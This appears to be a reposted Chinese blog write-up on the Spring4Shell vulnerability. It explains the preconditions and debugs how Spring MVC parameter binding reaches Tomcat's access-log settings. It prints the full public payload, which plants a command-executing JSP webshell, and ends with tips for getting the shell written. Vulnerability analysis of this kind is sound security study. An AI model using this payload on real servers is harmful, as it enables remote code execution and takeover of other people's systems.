记一次Spring4shell漏洞分析

Posted 向阳-Y.

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次Spring4shell漏洞分析相关的知识,希望对你有一定的参考价值。

漏洞条件

1.Tomcat war包部署

Tomcat 9.60<=(Tomcat9.61已打补丁)
1.Web应用以war包部署到Tomcat中时使用到ParallelWebappClassLoader
2.而以jar包部署的classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,其源代码里面没有getResources()方法

2.JDK>=9

直接调用class.classLoader已经被过滤,而JDK9版本支持模块化,基于内省获取Module对象,使其能够调用到getModule()方法,形成新利用链:class.module.classLoader从而绕过过滤

3.Tomcat部署

知识的准备

1.SpringBoot

spring4shell漏洞主要是因为参数绑定,假设请求参数名为foo.bar.baz.qux,对应Controller方法入参为Param,则有以下的调用链:

Param.getFoo()
    Foo.getBar()
        Bar.getBaz()
            Baz.setQux() // 注意这里为set

SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)

2.Java Bean PropertyDescriptor

PropertyDescriptor是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java Bean规范的对象属性和get/set方法。

3.Spring BeanWrapperImpl

在Spring中,BeanWrapper接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。

BeanWrapperImpl类是BeanWrapper接口的默认实现,BeanWrapperImpl.wrappedObject属性即为被包装的Bean对象,BeanWrapperImpl对Bean的属性访问和设置最终调用的是PropertyDescriptor

4.Tomcat AccessLogValve 和 access_log

Tomcat的Valve用于处理请求和响应,通过组合了多个Valve的Pipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:

下面列出配置中出现的几个重要属性: - directory:access_log文件输出目录。 - prefix:access_log文件名前缀。 - pattern:access_log文件内容格式。 - suffix:access_log文件名后缀。 - fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd。

通过利用链反推

已知Spring4shell的公开利用链:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

可以推断出:

xxx.getClass()
    java.lang.Class.getModule()
        ......
            SomeClass.setPattern()

那么SomeClass到底有哪些?接下来通过debug进行分析。

复现分析

1.首先在WebDataBinder.java的第198行打上断点
(因为前面已经说过:SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues))

2.传入利用链,断点发现已经有参数传进来了,传入的参数为mpvs

3.在doBind方法中,重点关注applyPropertyValues()

4.通过调试,进入到该函数的内部

5.紧跟着setPropertyValues的实现进入AbstractPropertyAccessor.java,再经过一系列的调用逻辑后(这里忘了进的是哪个函数了),来到AbstractNestablePropertyAccessor第814行

6.getPropertyAccessorForPropertyPath通过调用自身,实现对链的递归解析

7.在getPropertyAccessorForPropertyPath()方法中,具体实现调用到java.lang.Class的代码为:getNestedPropertyAccessor(nestedProperty)[代码第820行]

8.分析该函数内部实现:通过一系列调用到BeanWrapperImpl.java:230行代码
getPropertyDescriptor(propertyName)

propertyName为传入的名称,此处传入

9.继续分析getPropertyDescriptor(propertyName)方法内部(CachedIntrospectionResults.java:391行)

调试了一下,继续跟踪this.propertyDescriptors.get(name)方法

10.最终发现this.propertyDescriptars.get(name)就是通过反射调用到了对应User的父类java.lang.Object.getClass(),获得返回java.lang.Class实例。

11.经过一轮迭代,接下来依次按照此思路分析即可。

User.getClass()
    java.lang.Class.get???() // 下一轮迭代实现

payload中的%xxxi,通过翻阅access_log资料可知:%xxxi为传入header中的值

绕过思路

1.利用静态代码分析,分析三方包解决第一个限制
2.利用类型混淆漏洞解决第二个限制

遇到的问题

1、写shell入ROOT目录,打不开ROOT目录显示404,解决方法:写入manager目录
2、使用原生态tomcat部署,可以写入shell,使用idea部署写shell写进了CATALINA_BASE目录,而CATALINA_BASE存在于其他盘。解决方法,设置传递环境变量:参考连接

以上是关于记一次Spring4shell漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

记一次 .NET 某WMS仓储打单系统 内存暴涨分析

记一次漏洞修复:DES和Triple DES 信息泄露漏洞(CVE-2016-2183)

记一次 .NET 某WMS仓储打单系统 内存暴涨分析

网络安全记一次代码审计

网络安全记一次代码审计

记一次源码分析过程,顺便给MyBatis修个Bug